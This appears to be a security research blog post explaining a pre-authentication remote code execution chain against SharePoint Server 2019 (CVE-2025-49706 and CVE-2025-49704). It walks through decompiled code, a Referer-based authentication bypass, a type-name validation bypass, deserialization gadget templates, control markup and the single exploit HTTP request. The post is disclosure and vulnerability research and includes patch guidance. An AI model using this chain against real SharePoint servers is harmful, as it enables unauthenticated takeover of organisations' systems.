SharePoint ToolShell – One Request PreAuth RCE chain CVE-2025-53770

SharePoint ToolShell – One Request PreAuth RCE chain CVE-2025-53770 - @_l0gg, khoadha, Blog of Viettel Cyber Security.

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Content

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Brief

Hi, and welcome. In this blog post, I'll introduce the exploit chain we demonstrated at the Pwn2Own Berlin 2025. While it takes only one request to pwn SharePoint, it took me over a year to discover and craft the complete exploit chain.

This exploit contain two vulnerabilities:

- `CVE-2025-49706` : ToolPane Authentication Bypass
- `CVE-2025-49704` : DataSetSurrogateSelector Insecure Deserialization

Although it requires only one request, the exploit chain includes multiple bypasses chained together to reach code execution.

[image: image]

Affected version

- SharePoint 2019 version <= 16.0.10417.20018 (patch June 2025)

- ToolPane authentication bypass also work on SharePoint 2013

ToolPane Authentication Bypass

ToolPane page at `/_layouts/15/ToolPane.aspx` contains the control `Microsoft.SharePoint.WebPartPages.ToolPane` which process the main logic of the page. This control has function `GetPartPreviewAndPropertiesFromMarkup` which is also used by `WebPartPagesWebService` at `/_vti_bin/WebPartPages.asmx` — The well-known entry point for many previous CVEs of SharePoint.

In order to reach this function, we must pass several validation checks.

`SPRequestModule.PostAuthenticateRequestHandler` will check if user is not authenticated & setting not allow anonymous with flag7. If it does not meet the required condition, it returns Unauthorized Access.

```
//Microsoft.SharePoint.ApplicationRuntime.SPRequestModule
private void PostAuthenticateRequestHandler(object oSender, EventArgs ea)
{
    ...
    if (!context.User.Identity.IsAuthenticated)
    {
        if (flag5)
        {
            ...
        }
        else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsFo
        {
            if (flag3)
            {
                ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Mec
            }
            SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
        }
        else if (flag6)
        {
            HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated];
            HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated];
            if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, s_KeepSessionAuthenticatedC
            {
                SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
            }
        }
    }
    ...

}
```

But if the Referrer header is signout path flag7 will be setted to true and pass this check.

```
//Microsoft.SharePoint.ApplicationRuntime.SPRequestModule
private void PostAuthenticateRequestHandler(object oSender, EventArgs ea)
{
	...
	bool flag5 = SPSecurity.AuthenticationMode == AuthenticationMode.Forms && !flag3;
	bool flag6 = !flag5;
	ULS.SendTraceTag(2373643U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Medium, "Value for checkAuthent
	bool flag7 = false;
	string text4 = context.Request.FilePath.ToLowerInvariant();
	if (flag6)
	{
		Uri uri = null;
		try
		{
			uri = context.Request.UrlReferrer;
		}
		catch (UriFormatException)
		{
		}
		if (IsShareByLinkPage(context) || IsAnonymousVtiBinPage(context) || IsAnonymousDynamicRequest(conte
		{
			flag6 = false;
			flag7 = true;
		}
	}
	if (!context.User.Identity.IsAuthenticated)
	{
		if (flag5)
		{
			...
		}
		else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsFo
		{
			if (flag3)
			{
				ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Mec
			}
			SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
		}
		...
	}

}
```

Signout path can be `/_layouts/SignOut.aspx` or `/_layouts/15/SignOut.aspx` or `/_layouts/14/SignOut.aspx`.

```
private string signoutPathRoot = "/_layouts/SignOut.aspx";
private string signoutPathPrevious = "/" + SPUtility.GetLayoutsFolder(14) + "/SignOut.aspx";
private string signoutPathCurrent = "/" + SPUtility.GetLayoutsFolder(15) + "/SignOut.aspx";
```

We can pass the check at `SPRequestModule` when it is not allow anonymous, but cannot pass the check at each page. There are some base type for webpage that SharePoint used. `LayoutsPageBase` & `GlobalAdminPageBase` & `WebPartPage` will check authentication at some point in the life cycle. `UnsecuredLayoutsPageBase` with `AllowAnonymousAccess=>true` and page that doesn't implement these base type won't check authentication. If you are new to ASP.NET, I suggest you to take a look at AS P.NET Life Cycle).

Our focus is on the `ToolPane.aspx` page. It implement `WebPartPage`. Every `WebPartPage` when load will render form digest

```
//Microsoft.SharePoint.WebPartPages.WebPartPage
private void FormOnLoad(object sender, EventArgs e)
{
    ...
    SPWeb contextWeb = SPControl.GetContextWeb(HttpContext.Current);
    if (contextWeb != null)
    {
        SPWebPartManager.RegisterOWSScript(this, this, contextWeb);
        if (Page.Items["FormDigestRegistered"] == null)
        {
            string bstrUrl = SPGlobal.GetVTIRequestUrl(Context.Request, null).ToString();
            SPStringCallback sPStringCallback = new SPStringCallback();
            contextWeb.Request.RenderFormDigest(bstrUrl, sPStringCallback);
            SPPageContentManager.RegisterHiddenField(Page, "__REQUESTDIGEST", ShouldStampRequestDigest
            FormDigest.RegisterDigestUpdateClientScriptBlockIfNeeded(this, this);
            Page.Items["FormDigestRegistered"] = true;
        }
        ...
    }
}
```

In order to render digest, user must be authenticated.

```
//Microsoft.SharePoint.Library.SPRequest
public void RenderFormDigest(string bstrUrl, ISPDataCallback pFormCallback)
{
    using (SPMonitoredScopeFactory.Create(1714842679U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Verbose
    {
        try
        {
            m_UnmanagedStackCount++;
            EnsureRightsPropagated();
            m_SPRequest.RenderFormDigest(bstrUrl, pFormCallback);
        }
    }
    ...
}
```

It make our request will fail when load for all `WebPartPage`. This is why most researcher ignore the `ToolPane` page. The function we need to reach is `ToolPane.getPartPreviewAndPropertiesFromMarkup()`. We must find a way to invoke it before `Load` event.

After digging into the `ToolPane.aspx` page, I discovered that the great combination of two controls `ToolPane` and `SPWebPartManager` allows us to reach our "dreamland" during the `InitComplete` event, which occurs before the `Load` event. (visit https://learn.microsoft.com/en-us/previous-versions/aspnet/ms178472(v=vs.100)#life-cycle-events#life-cycle-events) for more information).

The method call stack is:

```
=> Page.OnInitComplete()
=> SPWebPartManager.OnPageInitComplete()
=> SPWebPartManager.ShowToolPaneIfNecessary()
=> ToolPane.get_SelectedAspWebPart()
=> ToolPane.GetPartPreviewAndPropertiesFromMarkup()
```

At `ToolPane.get_SelectedAspWebPart` To reach `GetPartPreviewAndPropertiesFromMarkup` it must be `InCustomToolPane` and `DisplayMode` must be `Edit`.

```
//Microsoft.SharePoint.WebPartPages.ToolPane
internal System.Web.UI.WebControls.WebParts.WebPart SelectedAspWebPart
{
	get
	{
		if (!_selectedWebPartSet)
		{
			_selectedWebPartSet = true;
			if (InCustomToolPane && SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode)
			{
				if (frontPageWebPart == null)
				{
					try
					{
						string value = SPRequestParameterUtility.GetValue<string>(Page.Request, "MSOTlPn_
						if (value != null && value.Length > 0)
						{
							frontPageUri = new Uri(value);
						}
					}
					catch (Exception)
					{
						...
					}
					MarkupProperties partPreviewAndPropertiesFromMarkup = GetPartPreviewAndProperties
					_errorText = partPreviewAndPropertiesFromMarkup.Error;
					if (frontPageWebPart != null)
					{
						ProcessFrontPagePart(frontPageWebPart);
					}
				}
				_selectedWebPart = frontPageWebPart;
			}
			...
		}
		return _selectedWebPart;
	}
}
```

To set `DisplayMode`, we can set parameter `DisplayMode=Edit`.

To be `InCustomToolPane` it must pass the check `pagePath` start with `/_layouts/` and end with `/ToolPane.aspx`.

```
//Microsoft.SharePoint.WebPartPages.ToolPane.OnInit
//=>Microsoft.SharePoint.WebPartPages.Utility.CheckForCustomToolpane
//=>Microsoft.SharePoint.Utilities.SPUtility.CheckForCustomToolpane
public static bool CheckForCustomToolpane(string pagePath)
{
        bool result = false;
        if (pagePath != null)
        {
                result = pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1 && pagePath.EndsWith("
        }
        return result;
}
```

Somehow, the `pagePath` includes the query string, so we have to append parameter `foo=/ToolPane.aspx` at the end to pass the check.

In conclude, to reach `ToolPane.GetPartPreviewAndPropertiesFromMarkup` the path and query must be `/_layouts/15/toolpane.aspx?DisplayMode=Edit&foo=/ToolPane.aspx`. But don't get excited too soon, there is another check we need to pass before we can input the WebPart.

`ToolPane` need `MSOTlPn_Uri` form parameter to create designer. If it cannot get from file system it will call `spweb.GetFile(url)`. As an anonymous user the `GetFile` will create error because we does not have any permission.

```
//Microsoft.SharePoint.ServerWebApplication
IServerWebProjectItem IServerWebApplication.GetProjectItemFromUrl(string url)
{
	try
	{
		IServerWebProjectItem result = ServerWebFileFromFileSystem.Create(url);
		if (result != null)
		{
			return result;
		}
		SPFile file = _spWeb.GetFile(url);
		if (file != null && file.Exists)
		{
			return new ServerWebFile(file, null);
		}
		SPFolder folder = _spWeb.GetFolder(url);
		if (folder != null && folder.Exists)
		{
			return new ServerWebFolder(folder, null);
		}
	}
	catch (ArgumentException)
	{
	}
	return null;
}
```

To get from file system the url must start with `_controltemplates/` and end with `.ascx`, and it must exists in file system. For example, the `MSOTlPn_Uri` can be `http://asdf/_controltemplates/15/AclEditor.ascx`

```
//Microsoft.SharePoint.ServerWebFileFromFileSystem
internal static IServerWebProjectItem Create(string url)
{
    if (url.StartsWith("_controltemplates/", StringComparison.OrdinalIgnoreCase) && url.EndsWith(".ascx"))
    {
        string text = HttpContext.Current.Server.MapPath("/" + url);
        if (File.Exists(text))
        {
            return new ServerWebFileFromFileSystem(url, text);
        }
    }
    return null;
}
```

We can now input WebPart with `MSOTlPn_DWP` form parameter. `ToolPane` will parse that parameter as control. It act just like a pre-auth `/_vti_bin/WebPartPages.asmx` endpoint.

The WebPart v2 format (xmlns="http://schemas.microsoft.com/WebPart/v2") have more functionality but it will check user permissions again. We only can use the normal control tag format.

```
//Microsoft.SharePoint.WebPartPages.WebPartImporter
private void CreateWebPart(bool clearConnections)
{
    ...
        if (SafeControlCheckEnabled)
        {
            string text = null;
            if (!_spWeb.SafeControls.IsSafeControl(_spWeb.IsAppWeb, _type, out text))
            {
                throw new Microsoft.SharePoint.ApplicationRuntime.SafeControls.UnsafeControlException(Micr
            }
            if (!_spWeb.AllowContributorsToEditScriptableParts && !_spWeb.DoesUserHavePermissions(SPBasePe
            {
                throw new Microsoft.SharePoint.ApplicationRuntime.SafeControls.UnsafeControlException(Micr
            }
        }
    ...
}
```

We can now craft arbitrary controls without any authentication. At this point, it feels like I've crossed the narrow river and get lost at sea.

[image: image]

There are thousands of classes in the `SafeControls` list, but the number of known CVEs from web controls is not even 1%. That's a great effort from Microsoft to balance between functionality and security.

DataSetSurrogateSelector insecure deserialization

Honestly, I found this before the `ToolPane` part. While looking for an insecure deserialization, I noticed that SharePoint allows deserialization of `DataSet` and `DataTable` in some functions. Because `DataSet` is a well-known gadget in ysoserial, Microsoft implements the `DataSetSurrogateSelector` as a filtering mechanism during the deserialization of `DataSet` and `DataTable`.

It will strip all other `SerializationInfo` except for `XmlSchema` and `XmlDiffGram`. Then use an `XmlValidator` to validate these info.

```
//System.Data.DataSetSurrogateSelector of Microsoft.SharePoint.dll
public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
	Type type = obj.GetType();
	_ = type.BaseType;
	if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubcla
	{
		return null;
	}
	SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter());
	string @string = info.GetString("XmlSchema");
	if (@string != null)
	{
		_validator.ValidateXml(@string);
		serializationInfo.AddValue("XmlSchema", @string);
	}
	string string2 = info.GetString("XmlDiffGram");
	if (string2 != null)
	{
		_validator.ValidateXml(string2);
		serializationInfo.AddValue("XmlDiffGram", string2);
	}
	ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | Bindin
	{
		typeof(SerializationInfo),
		typeof(StreamingContext)
	}, null);
	if (constructor != null)
	{
		constructor.Invoke(obj, new object[2] { serializationInfo, context });
	}
	return obj;
}
```

`XmlValidator` will throw Exception if `DataType`, `InstanceType`, `Expression` is not in allowed list

```
//System.Data.XmlValidator of Microsoft.SharePoint.dll
private void ValidateXml(XDocument document)
{
    foreach (XElement item in document.Descendants())
    {
        foreach (XAttribute item2 in item.Attributes(Constants.MSD_DATATYPE_XName))
            ValidateTypeIsAllowed(item2.Value);
        foreach (XAttribute item3 in item.Attributes(Constants.MSD_INSTANCETYPE_XName))
            ValidateTypeIsAllowed(item3.Value);
        foreach (XAttribute item4 in item.Attributes(Constants.MSD_EXPRESSION_XName))
            ValidateExpressionIsAllowed(item4.Value);
    }
}
```

```
//System.Data.Constants of Microsoft.SharePoint.dll
internal static class Constants
{
    ...
    internal static readonly XName MSD_DATATYPE_XName = XName.Get("DataType", "urn:schemas-microsoft-com:
    internal static readonly XName MSD_EXPRESSION_XName = XName.Get("Expression", "urn:schemas-microsoft-c
    internal static readonly XName MSD_INSTANCETYPE_XName = XName.Get("InstanceType", "urn:schemas-micros
    ...
}
```

It only allow some simple type which can't lead to RCE. The allowed list are:

```
//System.Data.DefaultAllowList
internal static Type[] Members = new Type[42]
{
        typeof(bool),
        typeof(char),
        typeof(sbyte),
        typeof(byte),
        typeof(short),
        typeof(ushort),
        typeof(int),
        typeof(uint),
        typeof(long),
        typeof(ulong),
        typeof(float),
        typeof(double),
        typeof(decimal),
        typeof(DateTime),
        typeof(DateTimeOffset),
        typeof(TimeSpan),
        typeof(string),
        typeof(Guid),
        typeof(SqlBinary),
        typeof(SqlBoolean),
        typeof(SqlByte),
        typeof(SqlBytes),
        typeof(SqlChars),
        typeof(SqlDateTime),
        typeof(SqlDecimal),
        typeof(SqlDouble),
        typeof(SqlGuid),
        typeof(SqlInt16),
        typeof(SqlInt32),
        typeof(SqlInt64),
        typeof(SqlMoney),
        typeof(SqlSingle),
        typeof(SqlString),
        typeof(object),
        typeof(Uri),
        typeof(Color),
        typeof(Point),
        typeof(PointF),
        typeof(Rectangle),
        typeof(RectangleF),
        typeof(Size),
```

```
        typeof(SizeF)
};
```

If we can control the type, it could lead to arbitrary `XmlSerializer` deserialization. You can visit https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html for more info

I spent months on this to bypass the type check. I learned how XSD and XDR schemas are constructed, also how schema infer works but none of that helped. Thankfully, I didn't give up. Until one day I noticed about how `XmlValidator` parse the type name.

It use `System.Data.TypeNameParser`

```
//System.Data.XmlValidator
private void ValidateTypeIsAllowed(string fullTypeName)
{
        TypeInAssembly typeInAssembly = TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);
        if (!IsAllowedType(typeInAssembly.TypeNameText, typeInAssembly.AssemblyNameText))
        {
                ThrowInvalidTypeException(fullTypeName);
        }
}
```

`TypeNameParser.ParseAssemblyQualifiedName` is where the bug occurs, you might want to read this part carefully.

```
//System.Data.TypeNameParser
public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
{
	assemblyQualifiedName = assemblyQualifiedName?.Trim();
	if (string.IsNullOrEmpty(assemblyQualifiedName))
	{
		throw new ArgumentOutOfRangeException("assemblyQualifiedName");
	}
	int num = 0;
	for (int i = 0; i < assemblyQualifiedName.Length; i++)
	{
		switch (assemblyQualifiedName[i])
		{
		case '[':
			num = checked(num + 1);
			break;
		case ']':
			num = checked(num - 1);
			break;
		case ',':
		{
			if (num != 0)
			{
				break;
			}
			string typeName = assemblyQualifiedName.Substring(0, i).Trim();
			string assemblyName = assemblyQualifiedName.Substring(i + 1);
			string[] array = assemblyName.Split(',');
			if (array[0].IndexOf('=') >= 0)
			{
				throw new ArgumentOutOfRangeException("assemblyQualifiedName");
			}
			for (i = 1; i < array.Length; i++)
			{
				string text = array[i].Trim();
				if (!text.StartsWith("Version=", StringComparison.Ordinal) && !text.StartsWith("Culture=", StringC
				{
					throw new ArgumentOutOfRangeException("assemblyQualifiedName");
				}
			}
			return new TypeInAssembly(typeName, new AssemblyName(assemblyName));
		}
		}
	}
```

```
        if (num != 0)
        {
            throw new ArgumentOutOfRangeException("assemblyQualifiedName");
        }
        _defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out var value);
        value = value ?? typeof(object); //this is the problem
        return new TypeInAssembly(value.FullName, SimplifyAssemblyName(value.Assembly.GetName()));
    }
```

It checks whether the type name contains a comma `,` but only in the part outside the square brackets `[]`. Then it extracts the type name and returns it.

It looks like normal behavior, but when the type name doesn't have `,` or there is no `,` outside of `[]`, it will get type from `_defaultSimpleNameMappings`. If the map doesn't match, that type will be casted to object, which included in the allowed list.

For example the bellow type name pass the check (there is no `,` outside of `[]`):

```
System.Collections.Generic.List`1[[<any type, any assembly name>]]
```

The `type = type ?? typeof (object);` part is the problem. Just one line of code cause critical impact.

The `XmlValidator` only check and throw if not allowed, it does not modify the xml content we passed. Therefore, if we use a generic type to wrap other type inside and don't specify the assembly name we can pass the type check.

`System.Collections.Generic.List` is in `mscorlib`, the assembly name part is not needed to be found. We can pass any type in the List to invoke arbitrary type deserialization. There is one known gadget for `XmlSerializer` is `ObjectDataProvider`. We can use it to invoke `LosFormatter.deserialize`.

The `XmlSchema` SerializationInfo will be:

```
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xr
  <xs:element name="dataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="test">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="pwn" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>
```

The `XmlDiffGram` SerializationInfo will be:

```
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:x
    <dataset>
      <test diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSc
          <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-in
          <ExpandedElement/>
          <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2
{losfomatter payload here} </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfLosFormatterObjectDataProvider>
        </pwn>
      </test>
    </dataset>
  </diffgr:diffgram>
```

We've found a way to bypass `DataSetSurrogateSelector`. But what next??

Connect things together

We have `ToolPane` which parse control pre-auth and `DataSetSurrogateSelector` which allow arbitrary type deserialization. We have to find a control that use `DataSetSurrogateSelector`.

At first I follow the WebPart properties deserialization path, which will deserialize stream by `SPObjectStateFormatter` that use `DataSetSurrogateSelector`. But the `SPSerializationBinder` doens't allow `DataSet`.

```
protected override void IsAllowedType(Type type)
{
	if (!(null != type) || m_safeControls == null || type.IsEnum)
	{
		return;
	}
	string text = anonymousTypeRegex.Replace(type.ToString(), "<>f__AnonymousType`");
	string unsafeErrorMessage;
	bool flag = m_safeControls.IsSafeControl(m_isAppWeb, type, out unsafeErrorMessage);
	if (!SPSerializationSafeControlsAllowList.allowList.Contains(text) && (SPSerializationSafeControlsAllowList.custom
	{
		if (flag)
		{
			ULS.SendTraceTag(537777285U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.Medium, "Missed t
		}
		if (!base.ControlCompatMode)
		{
			ULS.SendTraceTag(3981590U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.High, "Allowing Contr
			throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlPageParserFilt
		}
		ULS.SendTraceTag(3981589U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.High, "Allowing ControlCon
	}
}
```

The `m_safeControls.IsSafeControl` check part make me think that it allow all class in `SafeControls` list. But no, the check is just for logging!!! (notice the `if (flag)` part).

It turns out that WebPart properties deserialization was a previously patched bug. You can check out my earlier blog post for more details. blog.viettelcybersecurity.com/sharepoint_properties_deser/

At this point, I though the bridge is broken and have to find another control which lead to RCE, leaving `DataSetSurrogateSelector` for another exploit. While looking for a way, I came across a blog from Code White: https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/ (thank you very much @mwulftange)

The `TemplateParser` doesn't check if the type is a child class of `Control` or not, it allow any type in loaded assemblies and have public parameter-less constructor. It also invoke any setter/getter method.

The problem is `ToolPane` doesn't use `TemplateParser`, it use `ElementDesigner` to parse control. A workaround is use a control allow arbitrary template inside to invoke `TemplateParser`. A simple control allow template is `UpdateProgress`.

```
<asp:UpdateProgress ID="Update" DisplayAfter="1"
runat="server">
<ProgressTemplate>
 {any template inside}
</ProgressTemplate>
</asp:UpdateProgress>
```

We can pick any class in `SafeControls` list to invoke its setters/getters. There is one class that use `DataSetSurrogateSelector` and in whitelist is `Microsoft.PerformancePoint.Scorecards.ExcelDataSet`.

When call `get_DataTable` it will decompress base64 string and deserialize

```
//Microsoft.PerformancePoint.Scorecards.ExcelDataSet
[XmlIgnore]
public DataTable DataTable
{
	get
	{
		if (dataTable == null && compressedDataTable != null)
		{
			dataTable = Helper.GetObjectFromCompressedBase64String(compressedDataTable, ExpectedSerializa
			if (dataTable == null)
			{
				compressedDataTable = null;
			}
		}
		return dataTable;
	}
	set
	{
		dataTable = value;
		compressedDataTable = null;
	}
}
```

```
//Microsoft.PerformancePoint.Scorecards.Helper
public static object GetObjectFromCompressedBase64String(string base64String, Type[] ExpectedSerializationTypes)
{
	if (base64String == null || base64String.Length == 0)
	{
		return null;
	}
	object obj = null;
	byte[] buffer = Convert.FromBase64String(base64String);
	using MemoryStream stream = new MemoryStream(buffer);
	stream.Position = 0L;
	GZipStream stream2 = new GZipStream(stream, CompressionMode.Decompress);
	try
	{
		return BinarySerialization.Deserialize(stream2);
	}
	catch (Microsoft.Office.Server.Security.SafeSerialization.BlockedTypeException ex)
	{
		throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, "Scorecards: Unexpected serial
	}
}
```

`BinarySerialization` use `DataSetSurrogateSelector` to filter the input and use `LimitingBinder` to bind type.

```
//System.Data.BinarySerialization of Microsoft.SharePoint.dll
public static object Deserialize(Stream stream, XmlValidator validator = null, IEnumerable<Type> extraTypes = null)
{
	validator = validator ?? XmlValidator.Default;
	BinaryFormatter binaryFormatter = new BinaryFormatter();
	binaryFormatter.Binder = new LimitingBinder(extraTypes);
	binaryFormatter.SurrogateSelector = new DataSetSurrogateSelector(validator);
	BinaryFormatter binaryFormatter2 = binaryFormatter;
	return binaryFormatter2.Deserialize(stream);
}
```

`LimitingBinder` allow `DataSet` & `DataTable`.

```
internal LimitingBinder(IEnumerable<Type> extraTypes)
{
        _allowedTypeMap = new TypeMap();
        _allowedTypeMap.Add(typeof(DataSet));
        _allowedTypeMap.Add(typeof(DataTable));
        _allowedTypeMap.Add(typeof(SchemaSerializationMode));
        _allowedTypeMap.Add(typeof(Version));
        ...
}
```

We can use this markup to set `CompressedDataTable` and invoke `DataTable` getter

```
<ScorecardClient:ExcelDataSet CompressedDataTable="{GzipPayload}" DataTable-CaseSensitive="false" runat="server
```

Everything is connected. The `MSOTlPn_DWP` markup we pass to `ToolPane` looks like this:

```
<%@ Register Tagprefix="ScorecardClient" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microso

<asp:UpdateProgress ID="Update" DisplayAfter="1"
runat="server">
<ProgressTemplate>
  <div>
    <ScorecardClient:ExcelDataSet CompressedDataTable="{GzipPayload}" DataTable-CaseSensitive="false" runat="serv
  </div>
</ProgressTemplate>
</asp:UpdateProgress>
```

We can create `CompressedDataTable` by create `SerializationInfo` that contain `XmlSchema` and `XmlDiffGram` I provided before.

[image: image]

Chaining things together, an **unauthenticated attacker** is able to achieve remote code execution (RCE) on the target SharePoint server **with only one request.**

[image: image]

yayyyy

The request look like:

```
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&foo=/ToolPane.aspx HTTP/1.1
Host: sharepoint
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 9661
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: /_layouts/SignOut.aspx

MSOTlPn_Uri=http%3A%2F%2Fsharepoint%2F_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3C%25%40%20R
```

Conclusion

Although the July 2025 patch mitigated this exploit chain, more could be coming because there are thousands of classes and many pages to check. As researchers, we need to invest more time reading these code.

For system administrators, the best practice is to keep your SharePoint Server fully updated. Make sure to apply the July 2025 Update and rotate machine key following Microsoft guide: https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/. It's hard to mitigate the `ToolPane` with one single action, especially for server that allow anonymous access.

It's been a long process of checking each page, trying different bypasses, and moving forward without giving up. I'm grateful for the constant support and trust from my family.

Thanks ZDI for hosting great contest and thanks Microsoft for building a great platform.

Kudos to my teammate @pivik_ for demonstrating this exploit.

That's the end of this blog, thank you for reading!

Recovery notes

Source evidence recovered on 2026-09-14. The earlier source capture (SHA-256 `e3d857dcfa802477edd4afd7f6969c53cdddb74bd498d98361b7f938e13ca2bc`) is no longer available. This publication uses a separately preserved capture of the same document recorded on 2026-08-06 (SHA-256 `dc86e52f8e4b23bf6813eb72c3461eb1ab6960887f8e54be837ce1e0a1310672`). The existing article text is retained. The archive journal ties this replacement source to the same extracted content; differences in the published copy are documented formatting and footer cleanup. The missing earlier capture remains documented in the archive history.